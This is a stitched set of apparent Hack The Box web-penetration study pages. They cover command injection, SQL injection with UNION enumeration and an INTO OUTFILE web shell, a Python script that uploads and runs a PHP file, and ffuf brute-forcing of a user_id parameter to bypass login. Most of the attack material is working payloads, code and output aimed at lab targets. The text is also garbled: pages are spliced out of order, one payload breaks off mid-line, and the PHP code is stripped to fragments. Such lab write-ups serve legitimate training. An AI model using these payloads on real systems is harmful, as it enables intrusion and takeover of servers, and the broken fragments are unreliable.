### **9\. Final Answer**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-9.-final-answer)
**Content of** `**/flag.txt**` **→ Retrieved successfully via command injection.**
* * *
[PreviousGood Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up)
[NextIntro to File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks)
Last updated 8 months ago
* [HTB CWES Exam‑Style Report — Command Injection Skill Assessment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#htb-cwes-exam-style-report-command-injection-skill-assessment)
* [1\. Executive Summary](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-1.-executive-summary)
* [2\. Vulnerability Details](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-2.-vulnerability-details)
* [3\. Attack Chain Overview](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-3.-attack-chain-overview)
* [4\. Exploitation Walkthrough (Exam Format)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-4.-exploitation-walkthrough-exam-format)
* [5\. CVSS v3.1 Scoring (Exam‑Oriented Breakdown)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-5.-cvss-v3.1-scoring-exam-oriented-breakdown)
* [6\. Root Cause Analysis](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-6.-root-cause-analysis)
* [7\. Impact Assessment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-7.-impact-assessment)
* [8\. Recommended Remediation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-8.-recommended-remediation)
* [9\. Final Answer](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-9.-final-answer)
Copy
guest:guest
Copy
GET /action?From=1&To=Test&Move=1&Copy=0
Copy
To=%0awhoami
Copy
echo -n 'whoami' | base64
→ d2hvYW1p
Copy
%0abash<<<$(base64%09-d<< SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)
Copy
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Copy
cn' UNION select 1,database(),2,3-- -
Copy
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Copy
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Copy
cn' UNION select 1, username, password, 4 from dev.credentials-- -
Copy
// Initial Payload to reveal user privaledge
cn' UNION select 1, user(), 3, 4 from dev.credentials -- -
Copy
// Enumration payload to reveal password hash
cn' UNION select 1, username, password, 4 from users -- -
---
# Absent Validation | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation.md)
.
* * *
The most basic type of file upload vulnerability occurs when the web application `does not have any form of validation filters` on the uploaded files, allowing the upload of any file type by default.
With these types of vulnerable web apps, we may directly upload our web shell or reverse shell script to the web application, and then by just visiting the uploaded script, we can interact with our web shell or send the reverse shell.
* * *
### Arbitrary File Upload[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#arbitrary-file-upload)
Let's start the exercise at the end of this section, and we will see an `Employee File Manager` web application, which allows us to upload personal files to the web application:
arrow-circle-left redo home

The web application does not mention anything about what file types are allowed, and we can drag and drop any file we want, and its name will appear on the upload form, including `.php` files:
arrow-circle-left redo home

Furthermore, if we click on the form to select a file, the file selector dialog does not specify any file type, as it says `All Files` for the file type, which may also suggest that no type of restrictions or limitations are specified for the web application:
arrow-circle-left redo home

All of this tells us that the program appears to have no file type restrictions on the front-end, and if no restrictions were specified on the back-end, we might be able to upload arbitrary file types to the back-end server to gain complete control over it.
* * *
### Identifying Web Framework[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#identifying-web-framework)
We need to upload a malicious script to test whether we can upload any file type to the back-end server and test whether we can use this to exploit the back-end server. Many kinds of scripts can help us exploit web applications through arbitrary file upload, most commonly a `Web Shell` script and a `Reverse Shell` script.
A Web Shell provides us with an easy method to interact with the back-end server by accepting shell commands and printing their output back to us within the web browser. A web shell has to be written in the same programming language that runs the web server, as it runs platform-specific functions and commands to execute system commands on the back-end server, making web shells non-cross-platform scripts. So, the first step would be to identify what language runs the web application.
This is usually relatively simple, as we can often see the web page extension in the URLs, which may reveal the programming language that runs the web application. However, in certain web frameworks and web languages, `Web Routes` are used to map URLs to web pages, in which case the web page extension may not be shown. Furthermore, file upload exploitation would also be different, as our uploaded files may not be directly routable or accessible.
One easy method to determine what language runs the web application is to visit the `/index.ext` page, where we would swap out `ext` with various common web extensions, like `php`, `asp`, `aspx`, among others, to see whether any of them exist.
For example, when we visit our exercise below, we see its URL as `http://SERVER_IP:PORT/`, as the `index` page is usually hidden by default. But, if we try visiting `http://SERVER_IP:PORT/index.php`, we would get the same page, which means that this is indeed a `PHP` web application. We do not need to do this manually, of course, as we can use a tool like Burp Intruder for fuzzing the file extension using a [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)
wordlist, as we will see in upcoming sections. This method may not always be accurate, though, as the web application may not utilize index pages or may utilize more than one web extension.
Several other techniques may help identify the technologies running the web application, like using the [Wappalyzer](https://www.wappalyzer.com/)
extension, which is available for all major browsers. Once added to our browser, we can click its icon to view all technologies running the web application:
arrow-circle-left redo home

As we can see, not only did the extension tell us that the web application runs on `PHP`, but it also identified the type and version of the web server, the back-end operating system, and other technologies in use. These extensions are essential in a web penetration tester's arsenal, though it is always better to know alternative manual methods to identify the web framework, like the earlier method we discussed.
We may also run web scanners to identify the web framework, like Burp/ZAP scanners or other Web Vulnerability Assessment tools. In the end, once we identify the language running the web application, we may upload a malicious script written in the same language to exploit the web application and gain remote control over the back-end server.
* * *
### Vulnerability Identification[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#vulnerability-identification)
Now that we have identified the web framework running the web application and its programming language, we can test whether we can upload a file with the same extension. As an initial test to identify whether we can upload arbitrary `PHP` files, let's create a basic `Hello World` script to test whether we can execute `PHP` code with our uploaded file.
To do so, we will write `` to `test.php`, and try uploading it to the web application:
arrow-circle-left redo home

The file appears to have successfully been uploaded, as we get a message saying `File successfully uploaded`, which means that `the web application has no file validation whatsoever on the back-end`. Now, we can click the `Download` button, and the web application will take us to our uploaded file:
arrow-circle-left redo home

As we can see, the page prints our `Hello HTB` message, which means that the `echo` function was executed to print our string, and we successfully executed `PHP` code on the back-end server. If the page could not run PHP code, we would see our source code printed on the page.
In the next section, we will see how to exploit this vulnerability to execute code on the back-end server and take control over it.
### **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#questions)
#### Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#try-to-upload-a-php-script-that-executes-the-hostname-command-on-the-back-end-server-and-submit-the)
I can create a text.php that looks something like this
Try to upload it to the target

File Successfully Uploads, now click download

#### PYTHON AUTOMATION[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#python-automation)
you can also execute the steps above with this script, needs refining to make it simpler
OUTPUT
A: ng-1067736-fileuploadsabsentverification-yrouj-7d78db6459-pvmkl
[PreviousBasic Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation)
[NextUpload Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation)
Last updated 9 months ago
* [Arbitrary File Upload](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#arbitrary-file-upload)
* [Identifying Web Framework](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#identifying-web-framework)
* [Vulnerability Identification](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#vulnerability-identification)
* [Questions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation#questions)
Copy
┌─[us-academy-3]─[10.10.14.252]─[htb-ac-1067736@htb-qqjuqknxu0]─[~]
└──╼ [★]$ cat hostname.php
/dev/null');
?>
Copy
"""
---------------------------
ABSENT VALIDATION
---------------------------
1. Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.
"""
# Import Request to send web request to the internet
import requests
import sys
import requests
import subprocess
# Module to display output in different colors.
from colorama import Fore, Back, Style
"""
Disable the display of certificate warnings when requests
are made to websites using insecure certificates. This can
be useful in scenarios where targeted web applications use
self-signed certificates as is the case in the AWAE labs.
"""
requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def main():
"""
Main entry point:
- validate CLI args
- build request info
- simulate (or actually perform) the request
- format and print the response blocks
"""
# If the script is ran without specify the target
if len(sys.argv) != 2:
print(f"In CLI, Usage should be: {sys.argv[0]} target")
print(f"Example: {sys.argv[0]} 10.0.0.1")
print(f"Example: {sys.argv[0]} manageengine")
sys.exit(1)
# Obtain taregt from CLI
target = sys.argv[1].strip().rstrip('/') # from CLI202
DEFAULT_HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Referer": "", # can set if needed
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
}
# Optional headers to mimic your Burp capture
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "*/*",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://{target}",
"Referer": "http://{target}/",
# don't set Content-Type here — requests will set the correct multipart boundary
}
# ============================ PHP SCRIPT ============================ #
php_filename = "hostname.php"
php_content = "/dev/null');?>"
# ============================ UPLOAD URL of TARGET ============================ #
upload_url = f"http://{target}/upload.php"
access_url = f"http://{target}/uploads/hostname.php"
files = {
# form field name 'file' may vary by app; change if necessary
"uploadFile": (php_filename, php_content.encode("utf-8"), "application/x-php")
}
# ============================ Initiate the Request to UPLOAD PHP FILE ============================ #
try:
# WARNING: verify=False disables TLS certificate verification.
r = requests.post(upload_url, files=files, verify=False, timeout=10)
except requests.RequestException as e:
print(f"Request failed: {e}")
sys.exit(2)
# ============================ FORMAT OUTPUT ============================ #
print("\n======= Johnny Custom Exploit Development =======\n")
print(format_text("REQUEST METHOD:", r.request.method))
print(format_text("REQUEST URL:", r.request.url))
print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers))
print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body
print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code))
print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies))
print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text)))
print(format_text("RESPONSE (first 300 chars):\n", r.text))
# ============================ Initiate the Request to ACCESS PHP UPLOAD FILE RESPONSE ============================ #
try:
# WARNING: verify=False disables TLS certificate verification.
r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10)
except requests.RequestException as e:
print(f"Request failed: {e}")
sys.exit(2)
# ============================ FORMAT OUTPUT ============================ #
print("\n======= Johnny Custom Exploit Development =======\n")
print(format_text("REQUEST METHOD:", r.request.method))
print(format_text("REQUEST URL:", r.request.url))
print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers))
print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body
print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code))
print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies))
print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text)))
print(format_text("RESPONSE (first 300 chars):\n", r.text))
def format_text(title,item):
"""
Helper to create a nicely formatted console output block.
- title: short label for the section (e.g. "r.status_code is:")
- item: item to display (will be stringified)
Returns a string that contains the title, a separator, the item, and a short marker.
"""
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t'
return text
if __name__ == "__main__":
main()
Copy
┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Bypassing-Filters/Absent-Filters]
└─$ python3 absent_validation.py 94.237.50.9:42134
======= Johnny Custom Exploit Development =======
REQUEST METHOD:
********************
POST
********************
REQUEST URL:
********************
http://94.237.50.9:42134/upload.php
********************
REQUEST HEADERS | r.headers is: :
********************
{'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '226', 'Content-Type': 'multipart/form-data; boundary=a16b540a121f6d3687078aef00736d4d'}
********************
REQUEST BODY (raw):
********************
b'--a16b540a121f6d3687078aef00736d4d\r\nContent-Disposition: form-data; name="uploadFile"; filename="hostname.php"\r\nContent-Type: application/x-php\r\n\r\n/dev/null\');?>\r\n--a16b540a121f6d3687078aef00736d4d--\r\n'
********************
RESPONSE STATUS | r.status_code is:
********************
200
********************
RESPONSE COOKIES | r.cookies is:
********************
********************
RESPONSE CONTENT-LENGTH:
********************
26
********************
RESPONSE (first 300 chars):
********************
File successfully uploaded
********************
======= Johnny Custom Exploit Development =======
REQUEST METHOD:
********************
GET
********************
REQUEST URL:
********************
http://94.237.50.9:42134/uploads/hostname.php
********************
REQUEST HEADERS | r.headers is: :
********************
{'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
********************
REQUEST BODY (raw):
********************
None
********************
RESPONSE STATUS | r.status_code is:
********************
200
********************
RESPONSE COOKIES | r.cookies is:
********************
********************
RESPONSE CONTENT-LENGTH:
********************
63
********************
RESPONSE (first 300 chars):
********************
ng-1067736-fileuploadsabsentverification-vqtse-6b5869cc9-8dghv
********************
---
# Authentication Bypass via Parameter Modification | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification.md)
.
Authentication Bypass via Parameter Modification[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#authentication-bypass-via-parameter-modification)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
An authentication implementation can be flawed if it depends on the presence or value of an HTTP parameter, introducing authentication vulnerabilities. As in the previous section, such vulnerabilities might lead to authentication and authorization bypasses, allowing for privilege escalation.
This type of vulnerability is closely related to authorization issues such as `Insecure Direct Object Reference (IDOR)` vulnerabilities, which are covered in more detail in the [Web Attacks](https://academy.hackthebox.com/module/details/134)
module.
* * *
### Parameter Modification[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#parameter-modification)
Let us take a look at our target web application. This time, we are provided with credentials for the user `htb-stdnt`. After logging in, we are redirected to `/admin.php?user_id=183`:

HTTP request and response. Request: POST to /index.php with username "htb-stdnt" and password "AcademyStudent%21". Response: 302 Found, redirects to /admin.php?user\_id=183. Server: Apache/2.4.59 (Debian).
In our web browser, we can see that we seem to be lacking privileges, as we can only see a part of the available data:
arrow-circle-left redo home

To investigate the purpose of the `user_id` parameter, let us remove it from our request to `/admin.php`. When doing so, we are redirected back to the login screen at `/index.php`, even though our session provided in the `PHPSESSID` cookie is still valid:

HTTP request and response. Request: GET /admin.php with PHPSESSID cookie. Response: 302 Found, redirects to index.php. Server: Apache/2.4.59 (Debian).
Thus, we can assume that the parameter `user_id` is related to authentication. We can bypass authentication entirely by accessing the URL `/admin.php?user_id=183` directly:

HTTP request and response. Request: GET /admin.php?user\_id=183. Response: 200 OK. Server: Apache/2.4.59 (Debian). Content-Type: text/html; charset=UTF-8.
Based on the parameter name `user_id`, we can infer that the parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the `Brute-Force Attacks` sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the `user_id` parameter.
* * *
### Final Remark[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#final-remark)
Note that many more advanced vulnerabilities can also lead to an authentication bypass, which we have not covered in this module but are covered by more advanced modules. For instance, Type Juggling leading to an authentication bypass is covered in the [Whitebox Attacks](https://academy.hackthebox.com/module/details/205)
module, how different injection vulnerabilities can lead to an authentication bypass is covered in the [Injection Attacks](https://academy.hackthebox.com/module/details/204)
and [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33)
modules, and logic bugs that can lead to an authentication bypass are covered in the [Parameter Logic Bugs](https://academy.hackthebox.com/module/details/239)
module.
Create a new custom 3 digit id/tokens.txt, then run ffuf on the
[http://94.237.56.25:51931/admin.php?user\_id=18394.237.56.25](http://94.237.56.25:51931/admin.php?user_id=183)
Endpoint
Then filter for the 14484 size
So now plug 372 into
[http://94.237.56.25:51931/admin.php?user\_id=37294.237.56.25](http://94.237.56.25:51931/admin.php?user_id=372)
And get the flag

A:HTB{63593317426484ea6d270c2159335780}
[PreviousAuthentication Bypass via Direct Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access)
[NextSession Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/session-attacks)
Last updated 9 months ago
* [Authentication Bypass via Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#authentication-bypass-via-parameter-modification)
* [Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#parameter-modification)
* [Final Remark](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification#final-remark)
Copy
┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses]
└─$ seq -w 0 999 > tokens.txt
┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses]
└─$ ffuf -w ./tokens.txt -u http://94.237.56.25:51931/admin.php?user_id=FUZZ -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://94.237.56.25:51931/admin.php?user_id=FUZZ
:: Wordlist : FUZZ: /home/kali/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses/tokens.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
010 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 166ms]
002 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms]
047 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 165ms]
040 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 169ms]
000 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms]
006 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 169ms]
085 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 174ms]
051 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 168ms]
082 [Status: 200, Size: 14484, Words: 4173, Lines: 429, Duration: 170ms]
Copy
┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses]
└─$ ffuf -w ./tokens.txt -u http://94.237.56.25:51931/admin.php?user_id=FUZZ -t 200 -fs 14484
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://94.237.56.25:51931/admin.php?user_id=FUZZ
:: Wordlist : FUZZ: /home/kali/Offensive-Python/14. Broken-Authentication/Authentication-Bypasses/tokens.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 14484
________________________________________________
372 [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 138ms]
:: Progress: [1000/1000] :: Job [1/1] :: 100 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
---
# HTB SQL Injection Fundamentals (assessment writeup/walkthrough) | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough.md)
.

In this final task, we are asked to perform a web application assessment against a public-facing website. Specifically for SQL injection. Our main goal is to use techniques to get remote code execution on the back-end server.
We are attacking the web application from a “grey box” approach meaning we do not get a lot of information to work with, we are only given the IP address of the web application and that’s it.
Step 1: Logging In[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-9c3c)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
We are first met with a login page which we need to bypass. Since we do not have any credentials to work with we need to craft a payload that will result in a True statement, we can assume that the original query looks similar to this:
We are going to use the **OR** operator to try the username OR our condition which will result in a True statement no matter what, here is an example of what that would look like for the full query:
Let's do a breakdown of this payload: **1**. **‘** : This single quote gets placed first since we want to end the current string. **2**. **OR 1=1** : After we have ended the string we can then use the OR operator with the values of 1=1, this will return a True value no matter what since 1 is always going to be equal to 1. 3. **— —** : We use a double dash to make the rest of the query a comment, comments are ignored on execution so it will just ignore the “AND password” statement.
Using this payload should bypass the login screen:

Figure 1: Successfully logged in
Step 2: Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-5e9a)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
We see that the “Payroll Information” is retrieving data from somewhere, it’s most likely retrieving multiple columns from a table. To get to the point of creating a payload to get remote code execution, we must first figure out how many columns are retrieved by the table.
For this, we can use the **ORDER BY** statement which will try to order the amounts of columns we specify. But there is a catch, if we specify a number that is higher than the expected amount of columns returned it will fail and we can see the change in the web application.
Let’s say the table has 5 columns and we try to ORDER BY 6, we can see the change and now we know that the application retrieves 5 columns as this was the last number that worked. This is the payload we are going to test in the input field:

Figure 2: Testing the max number of columns returned by the application
We tested **‘ ORDER BY 6** and we can see the change in the application, we now know the maximum amount of columns returned which is 5.
We can now use the **UNION** clause to run multiple SELECT statements in the same query. We are going to do some user enumeration just to see what MySQL user we are interacting with, and what privileges that user has.
To retrieve the user we are going to use this payload:

Figure 3: User enumeration part 1
Now that we know the username which is “root”, we need to check what privileges this user has, we can do this with the following payload:

Figure 4: User enumeration part 2
The “**FILE**” privilege is what we want to see, this indicates that the root user can both read and write files on the back-end system.
The final part of our enumeration is to figure out if the “**secure\_file\_priv**” variable is enabled. This variable is crucial to check since it tells us if we can or can’t write to the back-end system, and for remote code execution we need this variable to be set to enabled with an empty value, our payload is going to check if this variable is set to enable with an empty value:

Figure 5: Checking the secure\_file\_priv variable
As we can see, the secure\_file\_priv variable has no value, this means that we can write to any part of the system as long as we have permission to write to a specific path.
Step 3: Remote Code Execution[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#a127)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Now that we have enumerated enough to know that we can write to the file system, we can begin testing this!
To test if this indeed works let’s try writing to the webroot folder where the website is being retrieved from, which is located in “**/var/www/html/dashboard/**”. We are going to use the **INTO OUTFILE** statement to write a simple text file to this folder and then trying to open it in our browser:

Figure 6: Testing file
And it works! We can now craft a web shell with PHP which will let us parse any command into a URL parameter to execute remote code on the back-end system:

Figure 7: Remote code execution test
We can now execute any command on the back-end server through the URL, let’s grab that flag the task asks of us, it is located in the root folder:

Figure 8: Retrieving flag
Thanks for reading!
[PreviousSkills Assessment - SQL Injection Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals)
[NextUpdated Skills Assesment](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/updated-skills-assesment)
Last updated 8 months ago
* [Step 1: Logging In](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-9c3c)
* [Step 2: Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#id-5e9a)
* [Step 3: Remote Code Execution](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough#a127)
Copy
SELECT * FROM users WHERE username='username' AND password='password';
Copy
-- Our payload
' OR 1=1 LIMIT 1-- -'
-- Injected into the original statement
SELECT * FROM users WHERE username='' OR 1=1-- AND password='password';
Copy
-- We increment the number of 1 by 1 for each time we try the payload
' ORDER BY 1
Copy
' UNION SELECT NULL,user(),NULL,NULL,NULL--
Copy
' UNION SELECT NULL,grantee,privilege_type,NULL,NULL FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"--
Copy
' UNION SELECT NULL,variable_name,variable_value,NULL,NULL FROM information_schema.global_variables WHERE variable_name="secure_file_priv"--
Copy
random' UNION SELECT "",'This is my test file',"","","" INTO OUTFILE '/var/www/html/dashboard/test.txt'--
Copy
Copy
random' UNION SELECT "",'',"","","" INTO OUTFILE '/var/www/html/dashboard/shell.php'--
---
# Cheat Sheet | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet.md)
.
file-alt **Cheat Sheet**
The cheat sheet is a useful command reference for this module.
### MySQL[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql)
**Command**
**Description**
**General**
`mysql -u root -h docker.hackthebox.eu -P 3306 -p`
login to mysql database
`SHOW DATABASES`
List available databases
`USE users`
Switch to database
**Tables**
`CREATE TABLE logins (id INT, ...)`
Add a new table
`SHOW TABLES`
List available tables in current database
`DESCRIBE logins`
Show table properties and columns
`INSERT INTO table_name VALUES (value_1,..)`
Add values to table
`INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)`
Add values to specific columns in a table
`UPDATE table_name SET column1=newvalue1, ... WHERE `
Update table values
**Columns**
`SELECT * FROM table_name`
Show all columns in a table
`SELECT column1, column2 FROM table_name`
Show specific columns in a table
`DROP TABLE logins`
Delete a table
`ALTER TABLE logins ADD newColumn INT`
Add new column
`ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn`
Rename column
`ALTER TABLE logins MODIFY oldColumn DATE`
Change column datatype
`ALTER TABLE logins DROP oldColumn`
Delete column
**Output**
`SELECT * FROM logins ORDER BY column_1`
Sort by column
`SELECT * FROM logins ORDER BY column_1 DESC`
Sort by column in descending order
`SELECT * FROM logins ORDER BY column_1 DESC, id ASC`
Sort by two-columns
`SELECT * FROM logins LIMIT 2`
Only show first two results
`SELECT * FROM logins LIMIT 1, 2`
Only show first two results starting from index 2
`SELECT * FROM table_name WHERE `
List results that meet a condition
`SELECT * FROM logins WHERE username LIKE 'admin%'`
List results where the name is similar to a given string
### MySQL Operator Precedence[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql-operator-precedence)
* Division (`/`), Multiplication (`*`), and Modulus (`%`)
* Addition (`+`) and Subtraction (`-`)
